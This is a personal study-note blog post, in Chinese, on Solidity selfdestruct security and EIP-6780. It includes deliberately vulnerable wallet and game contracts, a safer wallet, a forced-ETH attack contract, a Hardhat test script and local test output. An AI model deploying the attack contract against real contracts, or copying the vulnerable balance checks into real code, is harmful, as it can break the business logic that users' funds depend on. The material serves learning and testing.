Allureluoli 二月FEBRUARY

区块链国赛笔记 23|合约安全实验:selfdestruct 的版本边界

自毁实验很容易出现“交易成功但代码还在”的现象。先确认运行链的硬分叉规则,再解释测试结果。

本文由个人备赛旧笔记整理,整理日期为 2026-11-03。命令、输出和测试记录属于当时的实验环境;本文未重新搭建整套环境验证。

阅读前先确认

在采用 EIP-6780 的 EVM 上,已有合约通常不会因 selfdestruct 删除代码和存储;同一交易内创建并自毁的情况例外。旧实验中的删除代码断言不能直接移植。参考 EIP-6780。

第二部分 3题 - 自毁专项

测试的代码

SelfDestruct.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* 包含自毁功能的钱包合约
* 演示自毁攻击的风险
*/
contract VulnerableWallet {
address public owner;
uint256 public balance;

event Deposited(address indexed from, uint256 amount);
event Withdrawn(address indexed to, uint256 amount);
event Destroyed(address indexed by);

constructor() {
owner = msg.sender;
}

/**
* 存款函数
*/
function deposit() external payable {
require(msg.value > 0, "Must send ETH");
balance += msg.value;
emit Deposited(msg.sender, msg.value);
}

/**
* 提款函数 - 只有所有者可以调用
*/
function withdraw(uint256 amount) external {
require(msg.sender == owner, "Only owner can withdraw");
require(amount <= balance, "Insufficient balance");

balance -= amount;
payable(owner).transfer(amount);
emit Withdrawn(owner, amount);
}

/**
* 自毁函数 - 存在安全风险
*/
function destroy() external {
require(msg.sender == owner, "Only owner can destroy");
emit Destroyed(msg.sender);
selfdestruct(payable(owner));
}

/**
* 获取合约信息
*/
function getInfo() external view returns (address, uint256, uint256) {
return (owner, balance, address(this).balance);
}

/**
* 接收ETH的回退函数 - 修复版本
*/
receive() external payable {
// 直接在 receive 函数中处理存款逻辑
require(msg.value > 0, "Must send ETH");
balance += msg.value;
emit Deposited(msg.sender, msg.value);
}
}

BalanceDependent.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

/**
* 依赖余额逻辑的合约
* 演示自毁攻击如何破坏业务逻辑
*/
contract BalanceDependent {
address public owner;
uint256 public totalDeposits;
mapping(address => uint256) public deposits;

event GameStarted(address player, uint256 bet);
event Winner(address player, uint256 prize);
event ForcedETHReceived(uint256 amount);

constructor() {
owner = msg.sender;
}

/**
* 简单的赌博游戏
* 假设合约余额应该等于 totalDeposits
*/
function playGame() external payable {
require(msg.value == 1 ether, "Bet must be exactly 1 ETH");
require(address(this).balance >= totalDeposits + msg.value, "Balance inconsistency");

deposits[msg.sender] += msg.value;
totalDeposits += msg.value;

emit GameStarted(msg.sender, msg.value);

// 简单的随机逻辑(仅用于演示)
if (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 2 == 0) {
uint256 prize = 2 ether;

// 这里假设合约余额总是足够支付奖金
require(address(this).balance >= prize, "Insufficient contract balance");

payable(msg.sender).transfer(prize);
emit Winner(msg.sender, prize);
}
}

/**
* 检查合约状态
*/
function checkState() external view returns (bool consistent, uint256 contractBalance, uint256 expectedBalance) {
contractBalance = address(this).balance;
expectedBalance = totalDeposits;
consistent = (contractBalance == expectedBalance);
return (consistent, contractBalance, expectedBalance);
}

/**
* 接收ETH - 但业务逻辑不希望直接接收ETH
*/
receive() external payable {
// 自毁攻击可以绕过这个限制
emit ForcedETHReceived(msg.value);
}

/**
* 提取资金(仅所有者)
*/
function withdraw(uint256 amount) external {
require(msg.sender == owner, "Only owner can withdraw");
require(amount <= address(this).balance, "Insufficient balance");
payable(owner).transfer(amount);
}
}

SafeWallet.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* 安全版本 - 避免自毁攻击的影响
*/
contract SafeWallet {
address public owner;
uint256 private _balance; // 使用内部状态跟踪余额

event Deposited(address indexed from, uint256 amount);
event Withdrawn(address indexed to, uint256 amount);

constructor() {
owner = msg.sender;
}

/**
* 存款 - 更新内部状态
*/
function deposit() external payable {
require(msg.value > 0, "Must send ETH");
_balance += msg.value;
emit Deposited(msg.sender, msg.value);
}

/**
* 提款 - 基于内部状态
*/
function withdraw(uint256 amount) external {
require(msg.sender == owner, "Only owner can withdraw");
require(amount <= _balance, "Insufficient balance");

_balance -= amount;
payable(owner).transfer(amount);
emit Withdrawn(owner, amount);
}

/**
* 获取余额 - 基于内部状态而不是 address(this).balance
*/
function getBalance() external view returns (uint256) {
return _balance;
}

/**
* 检查状态一致性
*/
function isStateConsistent() external view returns (bool) {
return _balance == address(this).balance;
}

/**
* 安全的自毁函数 - 清空资金后自毁
*/
function safeDestroy() external {
require(msg.sender == owner, "Only owner can destroy");

// 先转移所有资金
uint256 contractBalance = address(this).balance;
if (contractBalance > 0) {
payable(owner).transfer(contractBalance);
}

// 然后自毁
selfdestruct(payable(owner));
}

/**
* 接收ETH - 直接更新内部状态
*/
receive() external payable {
require(msg.value > 0, "Must send ETH");
_balance += msg.value;
emit Deposited(msg.sender, msg.value);
}
}

攻击合约

SelfDestructAttack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import "./SelfDestruct.sol";
contract SelfDestructAttack {
address public attacker;

event AttackExecuted(address target, uint256 amount);
event FundsReceived(uint256 amount);

constructor() {
attacker = msg.sender;
}

/**
* 执行自毁攻击
* 通过自毁强制向目标合约发送ETH
*/
function attack(address payable target) external payable {
require(msg.value > 0, "Must send ETH for attack");
require(target != address(0), "Invalid target");

// 通过自毁强制发送ETH
selfdestruct(target);

emit AttackExecuted(target, msg.value);
}

/**
* 另一种攻击方式 - 创建并自毁临时合约
*/
function attackViaCreation(address payable target) external payable {
require(msg.value > 0, "Must send ETH for attack");

// 创建临时攻击合约并立即自毁
TemporaryAttacker temp = new TemporaryAttacker{value: msg.value}(target);

emit AttackExecuted(target, msg.value);
}

/**
* 接收ETH
*/
receive() external payable {
emit FundsReceived(msg.value);
}

/**
* 提取资金
*/
function withdraw() external {
require(msg.sender == attacker, "Only attacker can withdraw");
payable(attacker).transfer(address(this).balance);
}
}

/**
* 临时攻击合约 - 用于演示第二种攻击方式
*/
contract TemporaryAttacker {
constructor(address payable target) payable {
// 在构造函数中立即自毁,强制发送ETH
selfdestruct(target);
}
}

测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
const { ethers } = require("hardhat");

async function debugTest() {
console.log("🔍 调试自毁攻击...");

const [owner, attacker] = await ethers.getSigners();

console.log("所有者:", owner.address);
console.log("攻击者:", attacker.address);

// 部署钱包合约
const VulnerableWallet = await ethers.getContractFactory("VulnerableWallet");
const wallet = await VulnerableWallet.deploy();
const walletAddress = await wallet.getAddress();
console.log("💰 钱包合约:", walletAddress);

// 检查初始代码
const initialCode = await ethers.provider.getCode(walletAddress);
console.log("📄 初始合约代码长度:", initialCode.length);

// 测试存款
console.log("\n💸 测试存款...");
const depositTx = await wallet.deposit({ value: ethers.parseEther("1.0") });
await depositTx.wait();

const [ownerAddr, balance, contractBalance] = await wallet.getInfo();
console.log(" 所有者:", ownerAddr);
console.log(" 内部余额:", ethers.formatEther(balance), "ETH");
console.log(" 合约余额:", ethers.formatEther(contractBalance), "ETH");

// 测试自毁
console.log("\n💥 执行自毁...");
try {
const destroyTx = await wallet.destroy();
const receipt = await destroyTx.wait();
console.log(" ✅ 自毁交易成功");
console.log(" 交易哈希:", receipt.hash);
console.log(" 区块号:", receipt.blockNumber);

// 等待区块确认
await new Promise(resolve => setTimeout(resolve, 2000));

// 验证代码被删除
const finalCode = await ethers.provider.getCode(walletAddress);
console.log("📄 自毁后合约代码长度:", finalCode.length);
console.log(" 代码是否被删除:", finalCode === "0x" ? "✅ 是" : "❌ 否");

if (finalCode !== "0x") {
console.log("⚠️ 警告: 合约代码未被删除!");
}

} catch (error) {
console.log("❌ 自毁失败:", error.message);
}

// 测试攻击合约
console.log("\n🔫 测试攻击合约...");
const SelfDestructAttack = await ethers.getContractFactory("SelfDestructAttack");
const attack = await SelfDestructAttack.connect(attacker).deploy();
const attackAddress = await attack.getAddress();
console.log("🎯 攻击合约:", attackAddress);

// 检查攻击合约代码
const attackCode = await ethers.provider.getCode(attackAddress);
console.log("📄 攻击合约代码长度:", attackCode.length);

// 测试攻击合约自毁
console.log("\n💣 执行攻击合约自毁...");
try {
const attackTx = await attack.connect(attacker).attack(walletAddress, { value: ethers.parseEther("0.1") });
const attackReceipt = await attackTx.wait();
console.log(" ✅ 攻击交易成功");

// 检查攻击合约是否自毁
const attackCodeAfter = await ethers.provider.getCode(attackAddress);
console.log("📄 攻击后攻击合约代码长度:", attackCodeAfter.length);
console.log(" 攻击合约是否自毁:", attackCodeAfter === "0x" ? "✅ 是" : "❌ 否");

} catch (error) {
console.log("❌ 攻击失败:", error.message);
}
}

debugTest().catch(console.error);

测试结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
PS E:\code\solidity_project\vulnerability_test_5> pnpm hardhat run scripts/deploy-selfdestruct.js --network localhost
🚀 部署自毁攻击演示合约...
部署者地址: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
✅ VulnerableWallet 部署: 0x5FbDB2315678afecb367f032d93F642f64180aa3
✅ BalanceDependent 部署: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
✅ SelfDestructAttack 部署: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0
✅ SafeWallet 部署: 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9

🎉 所有合约部署完成!

📋 测试命令:
pnpm hardhat test test/selfdestruct-attack.test.js
PS E:\code\solidity_project\vulnerability_test_5> pnpm hardhat run scripts/quick-test.js
🚀 快速测试自毁攻击...
钱包合约: 0x5FbDB2315678afecb367f032d93F642f64180aa3
攻击合约: 0x8464135c8F25Da09e49BC8782676a84730C318bC
存款成功
自毁成功
合约代码: 存在
PS E:\code\solidity_project\vulnerability_test_5> pnpm hardhat run scripts/quick-test.js
🔍 调试自毁攻击...
所有者: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
攻击者: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
💰 钱包合约: 0x5FbDB2315678afecb367f032d93F642f64180aa3
📄 初始合约代码长度: 4820

💸 测试存款...
所有者: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
内部余额: 1.0 ETH
合约余额: 1.0 ETH

💥 执行自毁...
✅ 自毁交易成功
交易哈希: 0x854e44446cc1e1aa3f21e52852e0597ae58b881aa0593576a8657998d56d0cbe
区块号: 3
📄 自毁后合约代码长度: 4820
代码是否被删除: ❌ 否
⚠️ 警告: 合约代码未被删除!

🔫 测试攻击合约...
🎯 攻击合约: 0x8464135c8F25Da09e49BC8782676a84730C318bC
📄 攻击合约代码长度: 3926

💣 执行攻击合约自毁...
✅ 攻击交易成功
📄 攻击后攻击合约代码长度: 3926
攻击合约是否自毁: ❌ 否

复现时的自查

  • 记录自己实际使用的版本、配置和缺失依赖。
  • 对照本篇关键步骤,保存命令或调用结果,并解释结果代表什么。
  • 对失败或与原记录不一致的情况保留错误信息,不把历史输出当成自己的验证结果。

返回系列导读 · 上一篇 · 下一篇

评论COMMENTS